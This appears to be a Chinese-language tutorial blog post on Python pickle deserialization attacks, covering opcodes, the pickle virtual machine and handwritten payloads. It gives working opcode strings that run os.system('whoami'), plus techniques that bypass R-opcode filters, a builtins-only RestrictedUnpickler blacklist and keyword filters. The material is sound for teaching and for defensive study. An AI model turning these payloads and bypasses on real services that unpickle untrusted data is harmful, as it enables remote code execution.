pickle反序列化
吐槽某新型天坑专业,校招岗位少之又少,不是安服就是运维。
pickle是Python中一个能够序列化和反序列化对象的模块。和其他语言类似,Python也提供了序列化和反序列化这一功能,其中一个实现模块就是pickle。
pickle实际上可以看作一种独立的语言,通过对opcode
的编写可以进行Python代码执行、覆盖变量等操作。直接编写的opcode
灵活性比使用pickle序列化生成的代码更高,并且有的代码不能通过pickle序列化得到(pickle解析能力大于pickle生成能力)。
import pickle
class Person():
def __init__(self):
self.age = 18
self.name = "Pickle"
p = Person()
opcode = pickle.dumps(p) #将一个Person对象序列化成二进制字节流
print(opcode)
# 结果如下
# b'\x80\x04\x957\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x06Person\x94\x93\x94)\x81\x94}\x94(\x8c\x03age\x94K\x12\x8c\x04name\x94\x8c\x06Pickle\x94ub.'
P = pickle.loads(opcode) # 将一串二进制字节流反序列化为一个Person对象
print('The age is:' + str(P.age), 'The name is:' + P.name)
# 结果如下
# The age is:18 The name is:Pickle
前置知识
能够序列化的对象
在Python的官方文档中,对于能够被序列化的对象类型有详细的描述,如下
None
、True
和False
- 整数、浮点数、复数
str
、byte
、bytearray
- 只包含可打包对象的集合,包括 tuple、list、set 和 dict
- 定义在模块顶层的函数(使用
def
定义,lambda
函数则不可以) - 定义在模块顶层的内置函数
- 定义在模块顶层的类
- 某些类实例,这些类的
__dict__
属性值或__getstate__()
函数的返回值可以被打包(详情参阅 打包类实例 这一段)
pickle模块常见方法及接口
pickle.dump(*obj*, *file*, *protocol=None*, ***, *fix_imports=True*)
将打包好的对象 obj 写入文件中,其中protocol为pickling的协议版本(下同)。
pickle.dumps(*obj*, *protocol=None*, ***, *fix_imports=True*)
将 obj 打包以后的对象作为bytes
类型直接返回。
pickle.load(*file*, ***, *fix_imports=True*, *encoding="ASCII"*, *errors="strict"*)
从文件中读取二进制字节流,将其反序列化为一个对象并返回。
pickle.loads(*data*, ***, *fix_imports=True*, *encoding="ASCII"*, *errors="strict"*)
从data中读取二进制字节流,将其反序列化为一个对象并返回。
object.__reduce__()
__reduce__()
其实是object类中的一个魔术方法,我们可以通过重写类的 object.__reduce__()
函数,使之在被实例化时按照重写的方式进行。
Python要求该方法返回一个字符串或者元组。如果返回元组(callable, ([para1,para2...])[,...])
,那么每当该类的对象被反序列化时,该callable
就会被调用,参数为para1、para2...
pickle反序列化漏洞
import pickle
import os
class Person():
def __init__(self):
self.age = 18
self.name = "Pickle"
def __reduce__(self):
command = r"whoami"
return (os.system, (command,))
p = Person()
opcode = pickle.dumps(p)
print(opcode)
P = pickle.loads(opcode)
print('The age is:' + str(P.age), 'The name is:' + P.name)
pickle工作原理
其实pickle可以看作是一种独立的栈语言,它由一串串opcode(指令集)组成。该语言的解析是依靠Pickle Virtual Machine (PVM)进行的。
PVM由以下三部分组成
- 指令处理器:从流中读取
opcode
和参数,并对其进行解释处理。重复这个动作,直到遇到 . 这个结束符后停止。 最终留在栈顶的值将被作为反序列化对象返回。 - stack:由 Python 的
list
实现,被用来临时存储数据、参数以及对象。 - memo:由 Python 的
dict
实现,为 PVM 的整个生命周期提供存储。
常用opcode
在python的pickle.py中,常用的opcode如下:
指令 | 描述 | 具体写法 | 栈上的变化 |
---|---|---|---|
c | 获取一个全局对象或import一个模块 | c[module]\n[instance]\n | 获得的对象入栈 |
o | 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) | o | 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈 |
i | 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) | i[module]\n[callable]\n | 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈 |
N | 实例化一个None | N | 获得的对象入栈 |
S | 实例化一个字符串对象 | S’xxx’\n(也可以使用双引号、'等python字符串形式) | 获得的对象入栈 |
V | 实例化一个UNICODE字符串对象 | Vxxx\n | 获得的对象入栈 |
I | 实例化一个int对象 | Ixxx\n | 获得的对象入栈 |
F | 实例化一个float对象 | Fx.x\n | 获得的对象入栈 |
R | 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 | R | 函数和参数出栈,函数的返回值入栈 |
. | 程序结束,栈顶的一个元素作为pickle.loads()的返回值 | . | 无 |
( | 向栈中压入一个MARK标记 | ( | MARK标记入栈 |
t | 寻找栈中的上一个MARK,并组合之间的数据为元组 | t | MARK标记以及被组合的数据出栈,获得的对象入栈 |
) | 向栈中直接压入一个空元组 | ) | 空元组入栈 |
l | 寻找栈中的上一个MARK,并组合之间的数据为列表 | l | MARK标记以及被组合的数据出栈,获得的对象入栈 |
] | 向栈中直接压入一个空列表 | ] | 空列表入栈 |
d | 寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) | d | MARK标记以及被组合的数据出栈,获得的对象入栈 |
} | 向栈中直接压入一个空字典 | } | 空字典入栈 |
p | 将栈顶对象储存至memo_n | pn\n | 无 |
g | 将memo_n的对象压栈 | gn\n | 对象被压栈 |
0 | 丢弃栈顶对象 | 0 | 栈顶对象被丢弃 |
b | 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 | b | 栈上第一个元素出栈 |
s | 将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 | s | 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新 |
u | 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 | u | MARK标记以及被组合的数据出栈,字典被更新 |
a | 将栈的第一个元素append到第二个元素(列表)中 | a | 栈顶元素出栈,第二个元素(列表)被更新 |
e | 寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中 | e | MARK标记以及被组合的数据出栈,列表被更新 |
import pickle
opcode = b'''cos
system
(S'whoami'
tR.'''
"""
cos
system
c表示import 一个模块中的函数并作为对象压栈
(S'whoami'
(表示向栈中压入一个Mark标记,S表示实例化一个whoami字符串对象并压栈
tR.
t表示寻找栈中的上一个MARK,并组合之间的数据为元组,获得对象压栈。
R表示选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数,函数的返回值入栈。
.表示程序结束,栈顶的一个元素作为pickle.loads()的返回值
"""
pickle.loads(opcode)
#xxx\21609
漏洞利用方式
命令执行
手写opcode执行多个命令
在opcode中,.
是程序结束的标志。我们可以通过去掉.
来将两个字节流拼接起来
import pickle
opcode = b'''cos
system
(S'whoami'
tRcos
system
(S'whoami'
tR.'''
pickle.loads(opcode)
在pickle中,和函数执行的字节码有三个:R
、i
、o
,所以我们可以从三个方向构造paylaod
R
opcode1=b'''cos
system
(S'whoami'
tR.'''
i
:相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象)
opcode2=b'''(S'whoami'
ios
system
.'''
o
:寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象)
opcode3=b'''(cos
system
S'whoami'
o.'''
注意:
部分Linux系统下和Windows下的opcode字节流并不兼容,比如Windows下执行系统命令函数为
os.system()
,在部分Linux下则为posix.system()
。
并且pickle.loads
会解决import 问题,对于未引入的module会自动尝试import。也就是说整个python标准库的代码执行、命令执行函数我们都可以使用。
实例化对象
手动执行构造函数
import pickle
class Person:
def __init__(self, age, name):
self.age = age
self.name = name
opcode = b'''c__main__
Person
(I18
S'Pickle'
tR.'''
p = pickle.loads(opcode)
print(p)
print(p.age, p.name)
"""
<__main__.Person object at 0x0000013440833B90>
18 Pickle
"""
使用b指令进行变量覆盖
secret.py
secret="this is a key"
pk1.py
import pickle
import secret
print("secret变量的值为:" + secret.secret)
opcode = b'''c__main__
secret
(S'secret'
S'hack!!!'
db.'''
fake = pickle.loads(opcode)
print("secret变量的值为:" + fake.secret)
# secret变量的值为:this is a key
# secret变量的值为:hack!!!
常见绕过
1. 使用b指令绕过R指令
当对象被序列化时调用__getstate__
,被反序列化时调用__setstate__
。重写时可以省略__setstate__
,但__getstate__
必须返回一个字典。如果__getstate__
与__setstate__
都被省略, 那么就默认自动保存和加载对象的属性字典__dict__
。
在pickle源码中,字节码b
对应的是load_build()
函数
def load_build(self):
stack = self.stack
state = stack.pop()
#首先获取栈上的字节码b前的一个元素,对于对象来说,该元素一般是存储有对象属性的dict
inst = stack[-1]
#获取该字典中键名为"__setstate__"的value
setstate = getattr(inst, "__setstate__", None)
#如果存在,则执行value(state)
if setstate is not None:
setstate(state)
return
slotstate = None
if isinstance(state, tuple) and len(state) == 2:
state, slotstate = state
#如果"__setstate__"为空,则state与对象默认的__dict__合并,这一步其实就是将序列化前保存的持久化属性和对象属性字典合并
if state:
inst_dict = inst.__dict__
intern = sys.intern
for k, v in state.items():
if type(k) is str:
inst_dict[intern(k)] = v
else:
inst_dict[k] = v
#如果__setstate__和__getstate__都没有设置,则加载默认__dict__
if slotstate:
for k, v in slotstate.items():
setattr(inst, k, v)
dispatch[BUILD[0]] = load_build
如果我们将字典{"__setstate__":os.system}
,压入栈中,并执行b
字节码,,由于此时并没有__setstate__
,所以这里b字节码相当于执行了__dict__.update
,向对象的属性字典中添加了一对新的键值对。如果我们继续向栈中压入命令command,再次执行b
字节码时,由于已经有了__setstate__
,所以会将栈中字节码b
的前一个元素当作state
,执行__setstate__(state)
,也就是os.system(command)
import pickle
class Person:
def __init__(self, name, age=0):
self.name = name
self.age = age
def __str__(self):
return f"name: {self.name}\nage: {self.age}"
class Child(Person):
def __setstate__(self, state):
print("invoke __setstate__")
self.name = state
self.age = 10
def __getstate__(self):
print("invoke __getstate__")
return "Child"
opcode=b"""(c__main__
Person
S'Casual'
I18
o}(S"__setstate__"
cos
system
ubS"whoami"
b."""
"""
}空字典入栈
u寻找栈中的上一个MARK,组合之间的数据(数据必须为偶数个来组合key-value)并全部添加或更新到该MARK之前的一个元素(必须为字典)中
第一个b,此时没有setstate,故向对象的属性字典添加了一个新的键值对
第二个b,因为对象已经有了__setstate__,故将栈中字节码b的前一个元素当成state,执行__setstate__(state)
也就是os.system(command)
"""
fake = pickle.loads(opcode)
#xxx\21609
2. 绕过builtins
有的例子限死了module=="builtins"
builtins
模块提供了python的内置函数,在解释器启动的时候自动导入
查看所包含的函数
import sys
for i in sys.modules['builtins'].__dict__:
print(i)
我们目标是构造print(eval("__import__('os').system('whoami')"))
import pickle
import builtins
import os
print(builtins.getattr(builtins,'eval'))# 获取对象属性值
# <built-in function eval>
# 但是我们c指令要给出instance,也就是说不能单独import builtins
print(builtins.globals())#获取模块包含的内容
"""
返回的字典最后一个是 'builtins': <module 'builtins' (built-in)>
"""
print(builtins.getattr(builtins.dict,'get'))#获取get函数
print(builtins.getattr(builtins.dict,'get')(builtins.globals(),'builtins'))
# builtins.dict.get()函数获取字典builtins.globals()的'builtins'对应的值
print(builtins.getattr(builtins.getattr(builtins.dict,'get')(builtins.globals(),'builtins'),'eval'))
# <built-in function eval>
opcode=b"""cbuiltins
getattr
(cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
)RS'builtins'
tRS'eval'
tR(S'__import__("os").system("whoami")'
tR."""
# 上面代码从外层开始写,中间先是获取get函数,然后调用globals函数,参数为空元组
# 然后一波操作获取到了eval函数,最后调用了eval('__import__("os").system("whoami")')
pickle.loads(opcode) # xxx\21609
import pickle
import io
import builtins
class RestrictedUnpickler(pickle.Unpickler):
blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}
def find_class(self, module, name):
# Only allow safe classes from builtins.
if module == "builtins" and name not in self.blacklist:
return getattr(builtins, name)
# Forbid everything else.
raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
(module, name))
def restricted_loads(s):
"""Helper function analogous to pickle.loads()."""
return RestrictedUnpickler(io.BytesIO(s)).load()
opcode = b'''cbuiltins
getattr
(cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
)RS'__builtins__'
tRS'eval'
tR(S'__import__("os").system("whoami")'
tR.
'''
restricted_loads(opcode)
3. 绕过关键字过滤
- 十六进制绕过
操作码S
能识别十六进制字符串
S'\x73ecret'
- V指令进行unicode绕过
Vsecr\u0065t
- 利用内置函数获取关键字
对于已导入的模块,我们可以通过sys.modules['xxx']
来获取该模块,然后通过内置函数dir()来列出模块中的所有属性。
由于pickle不支持列表索引、字典索引,所以我们不能直接获取所需的字符串。在Python中,我们可以通过reversed()
函数来将列表逆序,并返回一个迭代对象。
然后通过next()
函数来获取迭代对象的下一个元素,默认从第一个元素开始。
hello.py
secret="this is a key"
pk1.py
import pickle
import sys
import hello
print(dir(sys.modules['hello']))
# ['__builtins__', '__cached__', '__doc__', '__file__', '__loader__', '__name__', '__package__', '__spec__', 'secret']
print(next(reversed(dir(sys.modules['hello']))))
# secret
# 下面手写opcode获取secret字符串
opcode=b"""(((c__main__
hello
i__builtin__
dir
i__builtin__
reversed
i__builtin__
next
."""
print(pickle.loads(opcode))
# secret
下面构造变量覆盖
import pickle
import sys
import hello
class A(object):
def __init__(self,uname,password):
self.uname=uname
self.password=password
def get_password(uname):
if uname=="hello":
return hello.secret
opcode=b"""c__main__
hello
((((c__main__
hello
i__builtin__
dir
i__builtin__
reversed
i__builtin__
next
I999
db(S'hello'
I999
i__main__
A
."""
a=pickle.loads(opcode)
if a.uname=='hello':
if(a.password==get_password('hello')):
#覆盖了hello模块的secret变量,使其与实例a的password相等
print("success")
#success
其它详见参考链接